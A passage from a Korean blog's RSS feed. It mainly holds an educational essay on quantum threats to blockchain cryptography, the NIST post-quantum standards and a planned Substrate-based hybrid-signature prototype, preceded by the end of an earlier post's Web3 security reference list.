&lt;li&gt;공급망의 모든 의존성을 매핑하라. 그리고 무엇보다, &quot;우리 코드는 감사받았다&quot;는 안전의 환상에서 벗어나라.&lt;/li&gt;
&lt;li&gt;확정적 낙관주의자가 되라.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;미래가 좋아질 것이라고 막연히 믿는 것이 아니라, 구체적 계획을 세우고 그것을 실행하여 미래를 더 좋게 만드는 것. 그것이 이 분야의 연구자와 실무자에게 요구되는 태도다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;참고 자료&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;CertiK, &quot;Hack3d: The Web3 Security Report 2025&quot; (2025)&lt;/li&gt;
&lt;li&gt;CertiK, &quot;Hack3d: Q2 + H1 2025&quot; (2025)&lt;/li&gt;
&lt;li&gt;Hacken, &quot;2025 Half-Year Web3 Security Report&quot; (2025)&lt;/li&gt;
&lt;li&gt;Beosin &amp;amp; Footprint Analytics, &quot;2025 Global Web3 Security Report&quot; (2025)&lt;/li&gt;
&lt;li&gt;Chainalysis, &quot;Crypto Crime Report 2025&quot; (2025)&lt;/li&gt;
&lt;li&gt;Khodaiemehr et al., &quot;Navigating the quantum computing threat landscape for blockchains,&quot; Computer Science Review, Vol. 59 (Feb 2026)&lt;/li&gt;
&lt;li&gt;Frontiers in Computer Science, &quot;A novel transition protocol to post-quantum cryptocurrency blockchains&quot; (2025)&lt;/li&gt;
&lt;li&gt;Cambridge Judge Business School, &quot;Why quantum matters now for blockchain&quot; (Nov 2025)&lt;/li&gt;
&lt;li&gt;U.S. Federal Reserve, &quot;Harvest Now Decrypt Later: Examining Post-Quantum Cryptography&quot; (2025)&lt;/li&gt;
&lt;li&gt;Ozdag, &quot;AI-Driven Vulnerability Analysis in Smart Contracts: Trends, Challenges and Future Directions,&quot; arXiv:2506.06735 (Jun 2025)&lt;/li&gt;
&lt;li&gt;Aziz et al., &quot;Blockchain-enabled identity management for IoT: a multi-layered defense against adversarial AI,&quot; Scientific Reports (2026)&lt;/li&gt;
&lt;li&gt;EU Commission, &quot;Coordinated Implementation Roadmap for the transition to Post-Quantum Cryptography&quot; (2024)&lt;/li&gt;
&lt;li&gt;Peter Thiel, Zero to One: Notes on Startups, or How to Build the Future (2014)&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Web3/Hacking</category>
      <category>AI</category>
      <category>Security</category>
      <category>web3</category>
      <category>일론 머스크</category>
      <category>피터 틸</category>
      <author>음대생</author>
      <guid isPermaLink="true">https://c0mpos3r.tistory.com/32</guid>
      <comments>https://c0mpos3r.tistory.com/32#entry32comment</comments>
      <pubDate>Fri, 20 Feb 2026 03:25:28 +0900</pubDate>
    </item>
    <item>
      <title>[Knight Frontier] BoB 프로젝트 탐구 -  양자내성암호를 결합한 블록체인 플랫폼 개발 및 연구</title>
      <link>https://c0mpos3r.tistory.com/31</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;주제 선정 이유&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Google의 Sycamore, IBM의 Osprey... 양자 컴퓨터가 이론적 가능성에서 실제 하드웨어로 빠르게 구현되고 있다. 2019년 Google이 &lt;b&gt;&quot;양자 우월성(Quantum Supremacy)&quot;&lt;/b&gt;을 달성했다고 발표한 이후, 업계의 발전 속도는 가속화되고 있다. 문제는 충분히 강력한 양자 컴퓨터가 등장하면 현재 사용되는 암호 시스템의 대부분이 무용지물이 된다는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;블록체인의 보안 근간인 &lt;b&gt;ECDSA(Elliptic Curve Digital Signature Algorithm&lt;/b&gt;) 같은 공개키 암호는 Shor's algorithm에 의해 다항 시간(polynomial time)에 깨진다. 더 심각한 건 블록체인의 불변성이다. 일반적인 중앙화 시스템은 양자 위협이 현실화되면 암호 시스템을 업그레이드하면 되지만, 블록체인은 과거의 모든 트랜잭션과 블록이 영원히 보존되고, 그들은 과거에 '안전했던' 알고리즘으로 보호되고 있다. 양자 컴퓨터가 등장하면 과거의 모든 서명이 위조 가능해지고, 과거 블록의 무결성이 의심받을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;Store now, decrypt later&quot;&lt;/b&gt; 공격도 현실적인 위협이다. 공격자가 지금은 해독할 수 없지만 미래의 양자 컴퓨터로 해독할 목적으로 암호화된 통신을 수집하는 것이다. 국가 기밀이나 개인 건강 기록처럼 장기간 민감한 데이터는 특히 위험하다. 블록체인의 거래 내역도 수십 년 후에도 가치가 있을 수 있어 표적이 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전공 수업에서 암호학을 배우면서 양자 컴퓨팅 부분이 가장 이해하기 어려웠다. 양자 중첩, 얽힘 같은 개념들이 직관에 반하고, 수학적으로도 복잡했다. 하지만 그만큼 흥미로웠고, 이번 기회에 제대로 이해하고 싶다는 동기가 생겼다. 특히 이론적인 위협이 실제 시스템 설계에 어떤 영향을 미치는지 탐구하고 싶다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;주제 관련 기반 지식&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. 양자 컴퓨터의 원리와 암호학적 위협&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;양자 컴퓨터는 양자역학의 원리, 특히 &lt;b&gt;중첩(superposition)&lt;/b&gt;과 &lt;b&gt;얽힘(entanglement)&lt;/b&gt;을 이용해 계산을 수행하는 기계다. 고전 컴퓨터의 비트는 0 또는 1 중 하나의 값을 가지지만, 양자 컴퓨터의 &lt;b&gt;큐비트(qubit)는 0과 1의 중첩 상태로 존재&lt;/b&gt;할 수 있다. 측정하는 순간 하나의 값으로 붕괴하지만, 측정 전까지는 여러 가능성을 동시에 표현한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 특성 덕분에 n개의 큐비트는 2^n개의 상태를 동시에 표현할 수 있다. 50큐비트면 약 1000조(10^15)개의 상태다. 물론 측정하면 하나의 결과만 얻지만, 양자 알고리즘은 이 병렬성을 교묘하게 활용해 특정 문제를 극적으로 빠르게 푼다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;가. Shor의 알고리즘 - 공개키 암호의 종말&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1994년 Peter Shor가 발표한 이 알고리즘은 양자 컴퓨터로 큰 수의 소인수분해와 이산로그 문제를 다항 시간에 풀 수 있음을 보였다. 이는 RSA와 ECDSA 같은 공개키 암호의 보안 기반을 무너뜨린다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;소인수분해&lt;/b&gt;: RSA는 큰 수(예: 2048비트)를 두 소수의 곱으로 분해하기 어렵다는 가정에 기반한다. 고전 컴퓨터로는 수십억 년 걸리지만, 충분히 큰 양자 컴퓨터는 몇 시간 안에 풀 수 있다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;이산로그&lt;/b&gt;: ECDSA는 타원곡선에서 이산로그 문제의 어려움에 의존한다. 양자 컴퓨터는 이것도 다항 시간에 해결한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;필요한 큐비트 수&lt;/b&gt;: 2048비트 RSA를 깨려면 약 4000 큐비트의 논리적 큐비트(오류 정정된)가 필요하다. 현재 최고 수준이 1000 물리 큐비트 수준이고 오류율이 높아, 실용적 공격까지는 아직 시간이 있다. 하지만 전문가들은 10-15년 내 가능할 것으로 본다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;나. Grover의 알고리즘 - 대칭키 암호 약화&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1996년 Lov Grover가 발표한 알고리즘은 정렬되지 않은 데이터베이스에서 특정 항목을 찾는 문제를 제곱근 시간에 해결한다. 암호학적으로는 brute-force 공격을 제곱근만큼 가속화한다는 의미다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;보안 강도 절반&lt;/b&gt;: 128비트 대칭키는 2^128번의 시도가 필요하지만, Grover's algorithm으로는 2^64번이면 충분하다. 즉 128비트 보안이 64비트 보안으로 감소한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;해시 함수 영향&lt;/b&gt;: SHA-256은 256비트 출력이지만 충돌 저항성은 128비트 보안 수준이다. 양자 컴퓨터로는 64비트로 감소한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;실용적 방어&lt;/b&gt;: 키 크기를 두 배로 늘리면 된다. AES-256을 쓰면 양자 컴퓨터로도 128비트 보안을 유지한다. 따라서 대칭키 암호는 상대적으로 덜 위협받는다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;다. CRQC (Cryptographically Relevant Quantum Computer)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모든 양자 컴퓨터가 암호를 깰 수 있는 건 아니다. 현재 수준의 양자 컴퓨터는 큐비트 수도 적고 오류율도 높아 실용적 암호 해독은 불가능하다. CRQC는 실제로 현재 암호 시스템을 위협할 만큼 강력한 양자 컴퓨터를 의미한다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;요구 사양&lt;/b&gt;: RSA-2048을 깨려면 수천 개의 논리적 큐비트, 수백만 개의 물리적 큐비트(오류 정정 고려), 낮은 오류율(0.001% 이하), 긴 coherence time이 필요하다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;도달 시점 예측&lt;/b&gt;: 보수적 예측은 20-30년, 낙관적 예측은 10-15년이다. 2022년 미중 양자 기술 경쟁이 격화되면서 일부는 더 빨라질 수 있다고 본다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;대비의 시급성&lt;/b&gt;: 블록체인 프로젝트는 커뮤니티 합의가 필요하고 마이그레이션에 시간이 걸려, 지금부터 준비해야 CRQC 등장 시점에 대응할 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. NIST Post-Quantum Cryptography 표준화&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;NIST(미국 국립표준기술연구소)는 2016년 PQC 표준화 프로세스를 시작해 전 세계 암호학자들로부터 제안을 받았다. 82개 후보가 제출되었고, 여러 라운드의 분석과 공격 시도를 거쳐 2024년 최종 표준이 발표되었다. 이 표준들은 양자 컴퓨터로도 깨기 어려운 수학적 난제에 기반한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;가. CRYSTALS-Dilithium - 격자 기반 디지털 서명&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Dilithium은 Module Learning With Errors(Module-LWE) 문제에 기반한 디지털 서명 알고리즘이다. 격자(lattice)는 다차원 공간의 점들이 규칙적으로 배열된 구조로, 격자 위에서 가장 가까운 벡터를 찾는 문제(SVP)나 짧은 벡터를 찾는 문제(CVP)는 양자 컴퓨터로도 어렵다고 알려졌다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;세 가지 보안 레벨&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Dilithium2: 128비트 보안 (AES-128 수준)&lt;/li&gt;
&lt;li&gt;Dilithium3: 192비트 보안 (AES-192 수준)&lt;/li&gt;
&lt;li&gt;Dilithium5: 256비트 보안 (AES-256 수준)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;키와 서명 크기&lt;/b&gt;: 공개키는 약 1312-2592바이트, 서명은 2420-4595바이트다. ECDSA의 32바이트 공개키, 64바이트 서명과 비교하면 40-70배 크다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;성능&lt;/b&gt;: 서명 생성은 비교적 빠르지만(수 밀리초), 서명 검증은 매우 빠르다. 블록체인에서는 검증이 더 자주 일어나므로 (모든 노드가 검증) 이는 좋은 특성이다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;표준화 상태&lt;/b&gt;: 2024년 NIST가 공식 표준으로 채택. FIPS 204로 지정되었다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;나. SPHINCS+ - 해시 기반 서명&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SPHINCS+는 해시 함수만을 사용하는 디지털 서명으로, 가장 보수적인 보안 가정을 갖는다. 격자나 코드 기반 암호가 깨지더라도, 해시 함수(SHA-256 등)가 안전하면 SPHINCS+도 안전하다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Stateless의 장점&lt;/b&gt;: 과거 해시 기반 서명(XMSS, LMS)은 상태를 유지해야 했다. 같은 키로 두 번 서명하면 안 되는데, 이는 관리가 복잡하다. SPHINCS+는 상태가 없어 사용이 편리하다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;큰 서명 크기&lt;/b&gt;: 서명이 수십 KB에 달한다(SPHINCS+-128f는 약 17KB). 이는 블록체인에 치명적일 수 있다. 매 블록마다 수백 개의 서명이 있다면 블록 크기가 기가바이트 단위로 증가할 수 있다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;느린 서명 생성&lt;/b&gt;: 수백 밀리초에서 초 단위 시간이 걸린다. 하지만 검증은 빠르다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;활용 시나리오&lt;/b&gt;: 장기 보관이 필요한 중요 서명(루트 인증서, 정부 문서)에 적합하다. 빈번한 서명이 필요한 곳에는 부적합하다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;다. Falcon - NTRU 격자 기반 서명&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Falcon은 NTRU라는 특수한 격자 구조를 사용한다. 가장 큰 장점은 작은 서명 크기다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;작은 서명&lt;/b&gt;: Falcon-512는 약 666바이트, Falcon-1024는 약 1280바이트다. Dilithium보다 2-3배 작고 SPHINCS+보다 훨씬 작다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;복잡한 구현&lt;/b&gt;: 부동소수점 연산을 사용해 구현이 까다롭다. 부채널 공격(타이밍 공격, 전력 분석)에 취약할 수 있어 constant-time 구현이 어렵다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;성능&lt;/b&gt;: 서명 생성과 검증 모두 빠르다. 하지만 구현 복잡도와 부채널 리스크로 Dilithium보다 덜 선호된다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;표준화 상태&lt;/b&gt;: NIST의 두 번째 우선 선택(Alternative)으로 지정되었다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;라. CRYSTALS-Kyber - 키 교환 메커니즘&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;블록체인에서는 디지털 서명이 더 중요하지만, 키 교환도 필요하다(특히 P2P 통신 암호화). Kyber는 격자 기반 키 캡슐화 메커니즘(KEM)이다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;작동 방식&lt;/b&gt;: 한쪽이 공개키를 생성하면, 다른 쪽이 그 공개키로 공유 비밀을 캡슐화한다. 개인키 소유자만 캡슐에서 비밀을 추출할 수 있다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;세 가지 레벨&lt;/b&gt;: Kyber512(128비트 보안), Kyber768(192비트), Kyber1024(256비트)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;성능&lt;/b&gt;: 매우 빠르다. 키 생성, 캡슐화, 역캡슐화 모두 밀리초 미만이다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;표준&lt;/b&gt;: FIPS 203으로 채택되었다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3. 하이브리드 암호 시스템&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;양자 위협의 시기가 불확실한 현재 상황에서, 가장 실용적인 접근은 기존 암호와 PQC를 동시에 사용하는 하이브리드 방식이다. 둘 중 하나만 안전해도 전체 시스템이 안전하다는 원리다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;가. 하이브리드 서명 구조&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;트랜잭션에 ECDSA 서명과 Dilithium 서명을 모두 포함한다. 검증자는 둘 다 유효한지 확인한다. 만약 양자 컴퓨터가 등장해 ECDSA가 깨지더라도 Dilithium이 보호하고, 반대로 격자 암호에 예상치 못한 취약점이 발견되어도 ECDSA가 보호한다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;서명 크기 문제&lt;/b&gt;: 두 서명을 모두 포함하면 크기가 크게 증가한다(64바이트 + 2420바이트 = 2484바이트). 하지만 안전한 전환 경로를 제공한다는 장점이 크다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;점진적 전환&lt;/b&gt;: 초기에는 하이브리드로 시작해 커뮤니티가 PQC에 신뢰를 쌓으면, 거버넌스 투표로 ECDSA를 제거할 수 있다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;실제 사례&lt;/b&gt;: Google은 Chrome에서 TLS에 하이브리드 키 교환(X25519 + Kyber)을 실험 중이다. Signal 메신저도 비슷한 접근을 한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;나. Address Agility - 다중 알고리즘 지원&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;블록체인 주소 체계를 확장해 여러 암호 알고리즘을 동시에 지원한다. 주소에 알고리즘 식별자를 포함시켜, 사용자가 원하는 알고리즘을 선택할 수 있게 한다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Bitcoin의 예&lt;/b&gt;: SegWit은 다양한 스크립트 버전을 지원한다. 미래에 새로운 서명 알고리즘이 나오면 새 버전을 추가하면 된다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Ethereum의 Account Abstraction&lt;/b&gt;: EIP-4337은 계정 로직을 유연하게 만들어, 서명 검증 방식을 사용자가 정의할 수 있게 한다. PQC 서명도 스마트 컨트랙트로 검증 가능하다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;장점&lt;/b&gt;: 기존 사용자는 영향받지 않고, 새로운 사용자만 PQC를 사용할 수 있다. 점진적 마이그레이션이 가능하다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4. 블록체인 구성 요소의 양자 안전성&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;블록체인은 여러 암호 기법을 조합해 작동한다. 각 요소가 양자 위협에 어떻게 영향받는지 이해해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;가. 해시 함수 - 상대적으로 안전&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SHA-256, Keccak-256 같은 해시 함수는 Grover's algorithm의 영향을 받지만, 보안 강도가 절반으로 줄어들 뿐 완전히 깨지지 않는다. 출력 크기를 늘리면 충분히 대응할 수 있다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Proof of Work 영향&lt;/b&gt;: Bitcoin의 채굴은 SHA-256 해시의 선행 0 찾기다. 양자 컴퓨터로 제곱근만큼 빠르게 찾을 수 있지만, 이는 더 빠른 ASIC이 나온 것과 비슷하다. 난이도 조정으로 해결된다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Merkle Tree&lt;/b&gt;: 블록의 트랜잭션을 Merkle Tree로 요약한다. 해시 함수가 안전하면 Merkle Tree도 안전하다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;대응 방안&lt;/b&gt;: SHA-512 같은 더 긴 출력을 사용하거나, SHA-3(Keccak) 계열로 전환한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;나. 디지털 서명 - 심각한 위협&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;블록체인에서 트랜잭션 인증, 블록 서명, 투표 등 모든 곳에 디지털 서명이 사용된다. ECDSA가 깨지면 전체 시스템이 무너진다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;과거 트랜잭션 위험&lt;/b&gt;: 이미 블록체인에 기록된 과거의 모든 트랜잭션도 위험하다. 공격자가 과거 트랜잭션의 서명을 위조해 &quot;실은 내가 그 거래를 했다&quot;고 주장할 수 있다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;주소 재사용 문제&lt;/b&gt;: Bitcoin은 주소를 한 번만 사용하고 버리는 걸 권장한다. 주소에서 아직 출금하지 않았다면 공개키가 노출되지 않아 안전하다. 하지만 한 번 사용하면 공개키가 블록체인에 기록되어 양자 공격에 노출된다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;PQC로 교체 필수&lt;/b&gt;: 디지털 서명을 PQC로 바꾸는 것이 양자 안전 블록체인의 핵심이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;다. Proof of Stake 합의 - 서명 의존도 높음&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PoS는 검증자들이 블록에 서명하고, 다른 검증자들이 그 서명을 검증한다. ECDSA가 깨지면 공격자가 다른 검증자의 서명을 위조해 이중 서명을 만들 수 있다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Slashing 회피&lt;/b&gt;: PoS는 악의적 행동(이중 서명 등)을 하면 예치금을 잃는다(slashing). 하지만 서명 위조가 가능하면 다른 검증자의 이중 서명을 만들어 그를 slashing 시킬 수 있다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;BLS 서명&lt;/b&gt;: Ethereum 2.0은 BLS 서명을 사용해 여러 서명을 하나로 aggregation한다. BLS도 pairing 기반이라 양자 공격에 취약하다. PQC에는 효율적인 aggregation 기법이 아직 부족하다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;대응&lt;/b&gt;: PQC 서명으로 교체하되, aggregation이 안 되면 블록 크기가 크게 증가하는 트레이드오프를 감수해야 한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;프로젝트 진행 과정 예상&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 프로젝트를 진행한다면 먼저 NIST 표준 문서들을 꼼꼼히 읽으며 각 알고리즘의 수학적 기반을 이해하는 것부터 시작할 것이다. 단순히 라이브러리를 갖다 쓰는 게 아니라, 왜 이 알고리즘이 양자 공격에 안전한지, 어떤 가정에 의존하는지를 이해해야 한다. 격자 문제, 해시 함수 보안성, NTRU 구조 등을 공부한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음으로 기존 블록체인 구현을 분석한다. Bitcoin Core나 go-ethereum 코드를 읽으며 디지털 서명이 어디에 어떻게 사용되는지 파악한다. ECDSA를 PQC로 교체하려면 정확히 어떤 함수들을 수정해야 하는지 리스트업한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로토타입 구현은 Substrate를 사용할 것이다. Substrate는 Rust로 작성된 모듈식 블록체인 프레임워크로, pallet이라는 모듈을 교체해 기능을 변경할 수 있다. pallet-balances, pallet-session 같은 기본 팔렛들을 살펴보고, 서명 검증 로직이 어디 있는지 찾는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;liboqs라는 PQC 라이브러리를 Substrate에 통합한다. liboqs는 C로 작성되어 있고 Rust 바인딩이 있다. Dilithium3을 선택해 키 생성, 서명, 검증 함수를 구현한다. 트랜잭션 구조를 수정해 서명 필드를 64바이트에서 2420바이트로 확장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하이브리드 모드도 구현한다. 트랜잭션에 ECDSA 서명과 Dilithium 서명을 모두 포함하도록 구조를 수정하고, 검증 로직에서 둘 다 체크하도록 한다. 이를 통해 안전한 전환 경로를 보여준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;성능 벤치마킹이 중요한 부분이다. 다음 지표들을 측정하고 기존 ECDSA 블록체인과 비교한다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;키 생성 시간&lt;/b&gt;: 새 계정을 만드는 데 걸리는 시간&lt;/li&gt;
&lt;li&gt;&lt;b&gt;서명 생성 시간&lt;/b&gt;: 트랜잭션에 서명하는 시간&lt;/li&gt;
&lt;li&gt;&lt;b&gt;서명 검증 시간&lt;/b&gt;: 한 서명을 검증하는 시간 (블록체인에서 가장 빈번한 연산)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;블록 크기&lt;/b&gt;: 100개 트랜잭션이 포함된 블록의 크기&lt;/li&gt;
&lt;li&gt;&lt;b&gt;TPS (Transactions Per Second)&lt;/b&gt;: 1초에 처리 가능한 트랜잭션 수&lt;/li&gt;
&lt;li&gt;&lt;b&gt;네트워크 대역폭&lt;/b&gt;: 블록 전파에 필요한 대역폭&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여러 시나리오를 테스트한다. 단순 송금만 있는 블록, 스마트 컨트랙트 호출이 많은 블록, 검증자 수를 10개, 100개, 1000개로 변경하며 확장성을 확인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마지막으로 마이그레이션 전략을 연구한다. 기존의 대형 블록체인 네트워크(Bitcoin, Ethereum)가 어떻게 PQC로 전환할 수 있을지 시나리오를 작성한다. 하드 포크가 필요한가? 기존 사용자들은 어떻게 새 주소로 자산을 옮기나? 과거 블록의 보안은 어떻게 보장하나?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;예상 시행착오&lt;/h3&gt;
